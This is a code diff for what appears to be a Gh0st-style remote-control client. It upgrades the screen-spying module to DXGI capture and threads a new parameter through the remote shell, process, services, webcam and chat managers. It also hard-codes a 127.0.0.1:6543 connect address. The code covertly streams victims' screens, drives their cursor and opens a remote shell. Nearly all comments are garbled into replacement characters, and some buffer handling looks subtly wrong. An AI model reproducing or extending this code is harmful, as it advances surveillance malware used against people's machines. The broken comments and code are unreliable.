// 6. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ת<EFBFBD><D7AA>
BYTE* pData = (BYTE*)mapped.pData;
int rowSize = m_ulFullWidth * 4; // ÿ<>е<EFBFBD><D0B5>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>RGBA<42><41>
for (int y = 0; y < m_ulFullHeight; y++) {
// <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EABBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3>ӵײ<D3B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
int srcIndex = y * mapped.RowPitch; // Direct3D <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
memcpy(buffer + destIndex, pData + srcIndex, rowSize);
}
// 7. <20><><EFBFBD><EFBFBD>
d3dContext->Unmap(cpuTexture, 0);
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
return 0;
}
};

View File

@@ -14,6 +14,9 @@
#include <time.h>
using namespace std;
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -21,14 +24,29 @@ using namespace std;
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
bool IsWindows8orHigher() {
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (!hMod) return false;
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (!rtlGetVersion) return false;
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (rtlGetVersion(&rovi) == 0) {
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
}
return false;
}
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
m_ScreenSpyObject = new CScreenSpy(32);
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1];
bool DXGI = user;
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32);
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
@@ -55,9 +73,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
@@ -65,6 +83,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
@@ -74,7 +94,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
@@ -83,7 +103,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
@@ -126,11 +146,6 @@ CScreenManager::~CScreenManager()
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
if(szBuffer)
{
delete [] szBuffer;
szBuffer = NULL;
}
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -217,21 +232,14 @@ VOID CScreenManager::SendClientClipboard()
VOID CScreenManager::SendFirstScreen()
{
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
if (FirstScreenData == NULL)
ULONG ulFirstSendLength = 0;
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
{
return;
}
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
szBuffer[ulFirstSendLength-1] = 0;
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -243,13 +251,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
return NULL;
}
ulNextSendLength += 1;
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
szBuffer[ulNextSendLength] = 0;
return szBuffer;
return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
@@ -285,11 +287,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
if(m_ScreenSpyObject->IsZoomed())
{
Point.x *= m_ScreenSpyObject->GetWZoom();
Point.y *= m_ScreenSpyObject->GetHZoom();
}
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}

View File

@@ -11,14 +11,14 @@
#include "Manager.h"
#include "ScreenSpy.h"
#include "ScreenCapture.h"
class IOCPClient;
class CScreenManager : public CManager
{
public:
char* szBuffer;
CScreenManager(IOCPClient* ClientObject, int n);
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
@@ -26,7 +26,7 @@ public:
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
CScreenSpy* m_ScreenSpyObject;
ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);

View File

@@ -11,25 +11,11 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
{
m_GOP = gop;
m_bAlgorithm = ALGORITHM_DIFF;
m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode;
memset(&devmode, 0, sizeof (devmode));
devmode.dmSize = sizeof(DEVMODE);
devmode.dmDriverExtra = 0;
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -50,6 +36,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
@@ -104,49 +91,16 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0;
}
LPVOID CScreenSpy::GetFirstScreenData()
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
}
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_RectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static CCursorInfo m_CursorInfor;
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
return NULL;
return m_RectBuffer; //<2F>ڴ<EFBFBD>
}
@@ -172,45 +126,3 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
}
#endif
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
{
AUTO_TICK(20);
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
continue;
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
ulv1 = ulszBufferOffset + sizeof(int);
ulv2 = ulv1 + sizeof(int);
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
return ulszBufferOffset;
}

View File

@@ -8,25 +8,15 @@
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
#include "CursorInfo.h"
#include "ScreenCapture.h"
class CScreenSpy
class CScreenSpy : public ScreenCapture
{
private:
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
ULONG m_ulbiBitCount; // ÿ<><C3BF><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulFullHeight; //<2F><>Ļ<EFBFBD><C4BB>
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
@@ -39,10 +29,9 @@ private:
PVOID m_DiffBitmapData_Full;
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
BYTE* m_RectBuffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
public:
CScreenSpy(ULONG ulbiBitCount);
CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP);
virtual ~CScreenSpy();
@@ -82,11 +71,12 @@ public:
m_RectBufferOffset += ulLength;
}
LPVOID GetFirstScreenData();
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
virtual LPBYTE ScanNextScreen() {
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
return (LPBYTE)m_DiffBitmapData_Full;
}
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);

View File

@@ -10,7 +10,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendServicesList();
}

View File

@@ -14,7 +14,7 @@
class CServicesManager : public CManager
{
public:
CServicesManager(IOCPClient* ClientObject, int n);
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID SendServicesList();
LPBYTE GetServicesList();

View File

@@ -14,7 +14,7 @@ using namespace std;
BOOL bStarting = TRUE;
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_nCmdLength = 0;
bStarting = TRUE;

View File

@@ -15,7 +15,7 @@
class CShellManager : public CManager
{
public:
CShellManager(IOCPClient* ClientObject, int n);
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;

View File

@@ -94,3 +94,11 @@ public:
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
#ifndef SAFE_DELETE
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_ARRAY
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif

View File

@@ -26,7 +26,7 @@ enum
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM)
{

View File

@@ -15,7 +15,7 @@
class CSystemManager : public CManager
{
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
virtual ~CSystemManager();
LPBYTE GetProcessList();
VOID SendProcessList();

View File

@@ -27,7 +27,7 @@ IOCPClient* g_IOCPClientObject = NULL;
extern HINSTANCE g_hInstance;
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);

View File

@@ -14,7 +14,7 @@
class CTalkManager : public CManager
{
public:
CTalkManager(IOCPClient* ClientObject, int n);
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CTalkManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);

View File

@@ -11,7 +11,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_bIsWorking = TRUE;

View File

@@ -16,7 +16,7 @@
class CVideoManager : public CManager
{
public:
CVideoManager(IOCPClient* ClientObject, int n) ;
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
virtual ~CVideoManager();
BOOL m_bIsWorking;

View File

@@ -25,7 +25,7 @@ IsExit bExit = NULL;
BOOL status = 0;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL };
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()